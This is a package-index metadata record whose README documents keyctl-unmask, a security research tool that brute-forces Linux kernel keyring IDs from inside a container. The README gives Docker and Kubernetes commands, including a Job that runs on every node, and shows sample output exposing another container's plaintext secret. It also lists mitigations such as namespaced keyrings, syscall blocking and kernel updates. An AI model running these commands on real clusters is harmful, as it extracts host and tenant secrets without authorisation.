{"id":23148401,"url":"https://github.com/antitree/keyctl-unmask","last_synced_at":"2025-10-24T20:17:33.825Z","repository":{"id":38258547,"uuid":"281735548","full_name":"antitree/keyctl-unmask","owner":"antitree","description":"Going Florida on container keyring masks. A tool to demonstrate the ineffectivity containers have on isolating Linux Kernel keyrings.","archived":false,"fork":false,"pushed_at":"2023-07-05T16:24:02.000Z","size":10391,"stargazers_count":42,"open_issues_count":12,"forks_count":2,"subscribers_count":2,"default_branch":"master","last_synced_at":"2024-06-19T02:02:31.292Z","etag":null,"topics":["breakout","containers","docker","keyctl","kubernetes","namespacing","seccomp","security-tools","syscalls"],"latest_commit_sha":null,"homepage":"https://www.antitree.com/2020/07/keyctl-unmask-going-florida-on-the-state-of-containerizing-linux-keyrings/","language":"Go","has_issues":true,"has_wiki":null,"has_pages":null,"mirror_url":null,"source_name":null,"license":"apache-2.0","status":null,"scm":"git","pull_requests_enabled":true,"icon_url":"https://github.com/antitree.png","metadata":{"files":{"readme":"README.md","changelog":null,"contributing":null,"funding":null,"license":"LICENSE","code_of_conduct":null,"threat_model":null,"audit":null,"citation":null,"codeowners":null,"security":null,"support":null,"governance":null,"roadmap":null,"authors":null,"dei":null,"publiccode":null,"codemeta":null}},"created_at":"2020-07-22T16:59:29.000Z","updated_at":"2024-06-17T21:44:11.000Z","dependencies_parsed_at":"2024-06-19T01:41:21.105Z","dependency_job_id":"ff2e23b0-e76e-44c3-ada8-92f0cbb154bb","html_url":"https://github.com/antitree/keyctl-unmask","commit_stats":null,"previous_names":[],"tags_count":1,"template":false,"template_full_name":null,"repository_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/antitree%2Fkeyctl-unmask","tags_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/antitree%2Fkeyctl-unmask/tags","releases_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/antitree%2Fkeyctl-unmask/releases","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/antitree%2Fkeyctl-unmask/manifests","owner_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/owners/antitree","download_url":"https://codeload.github.com/antitree/keyctl-unmask/tar.gz/refs/heads/master","host":{"name":"GitHub","url":"https://github.com","kind":"github","repositories_count":230151965,"owners_count":18181327,"icon_url":"https://github.com/github.png","version":null,"created_at":"2022-05-30T11:31:42.601Z","updated_at":"2022-07-04T15:15:14.044Z","host_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub","repositories_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories","repository_names_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repository_names","owners_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/owners"}},"keywords":["breakout","containers","docker","keyctl","kubernetes","namespacing","seccomp","security-tools","syscalls"],"created_at":"2024-12-17T17:11:23.857Z","updated_at":"2025-10-24T20:17:28.774Z","avatar_url":"https://github.com/antitree.png","language":"Go","readme":"\u003cdiv align=\"center\"\u003e\n\n![fuck-florida](/example/keymask.png)\n\n\u003c/div\u003e\n\n# Keyctl-unmask\n\nThis tool \"Goes Florida\" on container keyring masks. It is a tool to demonstrate the ineffectivity that containers have on isolating Linux Kernel keyrings. \n\n**See also**:\n\n* [antitree/keyctl-unmask](https://hub.docker.com/repository/docker/antitree/keyctl-unmask) Dockerhub image\n* [Blog post](https://www.antitree.com/2020/07/keyctl-unmask-going-florida-on-the-state-of-containerizing-linux-keyrings/) explaining more about the issue\n\n## Usage\n\nRunning `keyctl-unmask` by default will look like this:\n\n![docker demo](/example/docker_demo.gif)\n\nWithin less than 10 minutes all of the host's keyrings will be stored as JSON objects in `./keyctl_ids`\n\n~~~bash\nSearch for Linux kernel keyrings even if /proc/keys are masked in a container\nUsage: \n\n        keyctl-unmask -min 0 -max 999999999 \n\n        keyctl-unmask -hunt\n\n        keyctl-unmask -d\n\n  -d    Log everything to stdout (cloud logging not supported)\n  -hunt\n        Enable brute force mode to search for key ids (default true)\n  -key int\n        Specific key ID to test (int32)\n  -max int\n        Max key id range (default 999999999)\n  -min int\n        Minimum key id range (default 1)\n  -output string\n        Output path (default \"./keyctl_ids\")\n  -q    Quiet mode to disable logging and progress bar\n\n~~~\n\n\n## Example in Docker\n\nIn one container, create a new key representing a secret stored by a container:\n\n~~~shell\ndocker run --name secret-server -it --security-opt \\\n    seccomp=unconfined antitree/keyctl-unmask /bin/bash \n\n\u003e keyctl add user antitrees_secret thetruthisiliketrees @s\n911117332\n\u003e keyctl show\nSession Keyring\n 899321446 --alswrv      0     0  keyring: _ses.95f119ce25274b852fc62369089dcb4fbe15678e62eecfdc685d292e6a01f852\n 911117332 --alswrv      0     0   \\_ user: antitrees_secret\n~~~\n\nStart a separate container (with seccomp disabled) and execute `keyctl-unmask`\n\n~~~shell\ndocker run -it --name keyctl-attacker --security-opt seccomp=unconfined antitree/keyctl-unmask /bin/bash\nroot@keyctl-attacker:/# keyctl-unmask -min 0 -max 999999999\n10 / 10 [----------------------------------------------------------------------------] 100.00% ? p/s 0s\nOutput saved to:  ./keyctl_ids\nroot@keyctl-attacker:/# cat keyctl_ids \n~~~\n\n~~~json\n{\n \"KeyId\": 899321446,\n \"Valid\": true,\n \"Name\": \"_ses.95f119ce25274b852fc62369089dcb4fbe15678e62eecfdc685d292e6a01f852\",\n \"Type\": \"keyring\",\n \"Uid\": \"0\",\n \"Gid\": \"0\",\n \"Perms\": \"3f1b0000\",\n \"String_Content\": \"\\u0014\\ufffdN6\",\n \"Byte_Content\": \"FIxONg==\",\n \"Comments\": null,\n \"Subkeys\": [\n  {\n   \"KeyId\": 911117332,\n   \"Valid\": true,\n   \"Name\": \"antitrees_secret\",\n   \"Type\": \"user\",\n   \"Uid\": \"0\",\n   \"Gid\": \"0\",\n   \"Perms\": \"3f010000\",\n   \"String_Content\": \"thetruthisiliketrees\",\n   \"Byte_Content\": \"dGhldHJ1dGhpc2lsaWtldHJlZXM=\",\n   \"Comments\": null,\n   \"Subkeys\": null\n  }\n ]\n~~~\n\n## Usage In Kubernetes\n\nMost Kubernetes clusters have the \"benefit\" of running without seccomp enabled\nso you can run it yourself like so:\n\n```shell\nkubectl run --rm -i \\\n      -t keyctl-unmask --image=keyctl-unmask \\\n      --image-pull-policy=Never --restart=Never \\\n      -- keyctl-unmask -hunt -d\n```\n\n### Kubernetes One Off Pod With Progress Bar\n\nThe following one liner will start a hunt into the kubernetes cluster and \nreturn the results with the progress bar in a clean way. \n\n~~~shell\nkubectl run whatever --rm -it --generator=Pod --image-pull-policy=Never \\\n      --restart=Never --image=antitree/keyctl-unmask \\\n      --overrides=\"$(cat example/k8s/keyctl-unmask-run.json)\"\n~~~\n\n## Kubernetes All Nodes\n\nDeploying as a Job will run this on each node in the cluster to let you figure out \nif any cluster has interesting things within each Node. This creates a PVC to store\nthe results of trying to extract each Node's keyrings. \n\n```bash\nkeyctl apply -f examples/k8s/keyctl-unmask-job.yaml\n```\n\nAttach to the debug Pod to read the results:\n\n```bash\nkubectl exec -it -n test keyctl-unmask-debug-pod -- /bin/bash\n\u003e cat /keyctl-output/* | jq\n{\n \"KeyId\": 899321446,\n \"Valid\": true,\n \"Name\": \"_ses.95f119ce25274b852fc62369089dcb4fbe15678e62eecfdc685d292e6a01f852\",\n \"Type\": \"keyring\",\n...\n```\n\n\n## Pre-Emptive Responses To Potential Questions/Comments\n\n**What's you're deal with Florida?**\nIDK, just not feeling like a fan lately. Wear a fucking mask. \n\n**Yeah but the Docker seccomp profile takes care of this.**\n\nFirst, yes seccomp-bpf is a powerful tool and we should all use it for our containers but in the case of Docker, it's considered\na nice-to-have (not to mention difficult to use at scale). Because it's not a primary security control, and because there's no way \nto validate whether a seccomp profile is effective at runtime (see my other talks), we can't rely on it. It's a bolt on fix for the\nreal issue. \n\n**We should just enable user namespacing and this would be solved**\n\nIf you say that all you have to do is enable user namespacing, I'd say \"You're right!\" and \"No one does\" and \"It's not the default for Docker\"\nLets not say that user namespacing is a solution when enabling it breaks so many other things. \n\n**Everyone knows about this issue, this isn't new**\n\nThat this isn't new is mostly true in that it's been discussed since 2014 but it's been considered generally fixed since \nDocker added masks to `/proc/keys` and fixed it via seccomp. Furthermore, people are doing great work to fix this and modern kernels\nwill have solved this by simpley checking the [UID of the syscall making the request to read a key](https://github.com/torvalds/linux/commit/ae5906ceee038ea29ff5162d1bcd18fb50af8b94#diff-6aa6955e244e0fd5e8b5449001823ab7R1755)\nbut at the time of writing this, most environments (including cloud) did not have this feature. So it's not new, but it's not\nfixed either. \n\n**No one uses keyrings**\n\nThat seems to be true for many things but I think it's interesting that the technology is completely incompatible with\ncontainers in that every container can access any other container's keyrings including the hosts. \n\n**Fine well what do you want someone to do about it?**\n\n1. Ensure that your container runtimes have support for namespaced keyrings: [It's possible](https://lwn.net/Articles/779895/), if anyone cares.\n2. Make some of the protections that seccomp provides like blocking `KEYCTL` syscalls completely a compiled in security control .\n3. Make seccomp usable in our runtimes. (See separate rant)\n4. Update to the latest kernel\n\n## Known Issues\n\n* In minikube (and likely other non-standard linux OS's) the `get_persistent` keyctl SYSCALL isn't supported. From minikube host for example: `keyctl get_persistent @s -1`\n","funding_links":[],"categories":[],"sub_categories":[],"project_url":"https://awesome.ecosyste.ms/api/v1/projects/github.com%2Fantitree%2Fkeyctl-unmask","html_url":"https://awesome.ecosyste.ms/projects/github.com%2Fantitree%2Fkeyctl-unmask","lists_url":"https://awesome.ecosyste.ms/api/v1/projects/github.com%2Fantitree%2Fkeyctl-unmask/lists"}